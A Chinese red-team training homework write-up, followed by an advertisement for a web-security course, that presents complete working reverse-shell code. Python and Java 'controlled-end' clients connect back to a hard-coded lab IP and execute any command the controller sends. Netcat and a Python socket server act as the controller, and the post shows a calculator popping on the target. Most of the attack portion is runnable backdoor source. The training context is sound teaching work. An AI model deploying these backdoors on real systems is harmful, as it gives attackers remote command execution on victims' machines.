文章来源|MS08067 红队培训班 第5期
作业的思路是实现控制端(Server)对受控端(Client)的远程控制;在作业中,将以python代码 以及 java代码实现受控端、nc以及python代码实现控制端,尝试不同的远程方式。
本次作业 技术含量不高,主要是将重点放在远控方式的多样思路拓展上。作业能够入选离不开老师和班内大神的技术结晶共享,特此致谢。
将以4种方式展示远控过程:
简单多样远控实现Level 1: Client(python) + NCLevel 2: Client(python) + Server(python)Level 3: Client(java) + NCLevel 4: Client(java) + Server(python)
Level 1: Client(python) + NC
Client代码:
import socketimport osdef Client():# AF_INET表示使用IPV4协议,SOCK_STREAM表示使用TCP协议s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:# 控制端的IP以硬编码形式写在代码中,被控端将主动连接这个IPs.connect(("192.168.181.145",5551))except Exception as e:print("server not found or closed")while True:#接收控制端的输入,1024表示1024个缓冲字节command=s.recv(1024).decode()#这里注意exit后面要跟换行符,否则exit不会被匹配上,也会被当命令执行到受控端if command.lower()=='exitn':breakelse:# 执行控制端发来的命令,这里使用os.system()和subprocess.Popen也可以result=os.popen(command,'r',1).read()try:# 将结果返回给控制端s.send(result.encode("UTF-8"))except Exception as e:s.send("命令错误".encode("UTF-8"))s.close()if __name__=='__main__':Client()
1.控制端(192.168.181.145)监听本地端口5551:
2.受控端(192.168.181.189)执行python代码:
3.控制端收到请求,输入一些命令:
4.可以看到受控端的信息同步,无法识别的信息会显示在窗口,可以看到此种方式还不能实现任意代码执行(比如创建文件):
Level 2: Client(python) + Server(python)
可以看到socket通信中,client和server各自的通信流程:
按照以上流程,可以写出Server(控制端)代码:
import socketdef Server():s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 绑定本机地址的5551端口s.bind(("",5551))# 允许最大连接数是3个s.listen(3)# 等待受控端的连接请求conn,addr=s.accept()#print("Connected by "+addr)while True:command=input("请输入命令n")try:# print(command.encode())# 向受控端发送指令conn.sendall(command.encode())# 接收回显并显示result=conn.recv(1024)print(result.decode())except Exception as e:print("发生异常")conn.close()s.close()if __name__=='__main__':Server()
分别执行server.py和client.py,相较于nc的好处,可以实现更多指令的执行(touch指令):
控制端:
受控端:
Level 3: Client(java) + NC
代码参考老师课上写的,不过没有用到 ByteArrayToHexStr 和 HexStrToStr 两个方法,而是使用了Base64方法将接收的字节数组形式的数据 转换为字符串格式,这里参考了班里某位大神的思路
import java.io.BufferedReader;import java.io.DataOutputStream;import java.io.InputStream;import java.io.InputStreamReader;import java.net.Socket;import java.nio.charset.StandardCharsets;import java.util.Base64;public class App {public static void main(String[] args) {try {// 建立socket连接Socket socket = new Socket("192.168.181.189", 5678);while (true) {// 接收控制端的传输数据,以inputstream形式接收InputStream inputStream = socket.getInputStream();// byte by bytebyte[] bytes = new byte[1];String info = "";while (true) {// 如果流里有东西if (inputStream.available() > 0) {//,就读取信息,读到上面定义的bytes数组里面inputStream.read(bytes);// 这里进行了修改,作用是将接收的字节数组形式的数据 转换为字符串格式,参考了班里大神的方法String hexStr = Base64.getEncoder().encodeToString(bytes);byte[] decoded = Base64.getDecoder().decode(hexStr);// info就是接收到的 字符串形式的server传来的命令info += new String(decoded);// String hexStr = ByteArrayToHexStr(bytes);// info += HexStrToStr(hexStr);// 如果流里的内容读取完毕了if (inputStream.available() == 0) {//读取到的内容去除首位空格info = info.trim();//如果内容是一个exit就结束程序if (info.equals("exit")) {return;}try {//命令执行Process exec = Runtime.getRuntime().exec(info);// 读取回显内容InputStream results = exec.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(results));// 准备传回数据,创建了数据输出流dataOutputStreamDataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());String line;// 将返回结果后面加上换行符,避免与下一条用户命令在视觉上混淆while ((line = reader.readLine()) != null) {dataOutputStream.write((line + "n").getBytes(StandardCharsets.UTF_8));// 清空缓冲区dataOutputStream.flush();}exec.waitFor();// 与python中的.close()作用相同results.close();reader.close();exec.destroy();break;} catch (Exception e) {continue;} finally {info = "";}}}}}} catch (Exception e) {e.printStackTrace();}}}
1.控制端监听端口,受控端执行java代码
2.可以看到回连成功,在控制端执行弹计算器指令:
受控端成功弹出计算器
Level 4: Client(java) + Server(python)
启动上述server(python):
启动上述受控端(java):
可以看出,仍然可以实现任意命令执行,网络通信是不区分编程语言的
不足与改进
时间有限,有几点亟需改进:
1.python代码中,对用户非法输入的处理机制欠优化
2.python代码中,输入无回显的指令(比如 calc 和 touch )后,无法继续进行命令输入
Web安全漏洞挖掘班 第3期
1.29号 开班倒计时~
第三期,主要突出了学员最关心的“实战打靶”练习,第三期我们新增加了快速打点方法+脚本思路、打靶机模拟实战等内容,并配备了专门的“实战靶场”以供同学们练习!
最新课程目录3.0版
*大纲仅作为参考,会根据当期进度有所变化(加客服获取高清课程导图)
课程费用
每期班定价2499,新年价:1999(报名送399元Web安全知识星球名额)
每个报名学员都可享受一次后续任意一期课免费重听权益,一次没学懂就再来一遍,后续培训可任选一期来听。请有意参加培训的学员抓紧报名!
凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部VIP价1799;
支持支付宝、信用卡、花呗分期,对公转账,可开发票!
第二期班部分学员作业
上课时间
周四:19:30-21:30
周六:14:00-18:00如果无法准时参加直播课程,在线培训的每节课程都会被录制成视频上传到学员区,可随时下载观看。
上课方式
你距离大佬,只差一个决定
报名咨询请联系小客服
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群,内部微信群永久有效!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...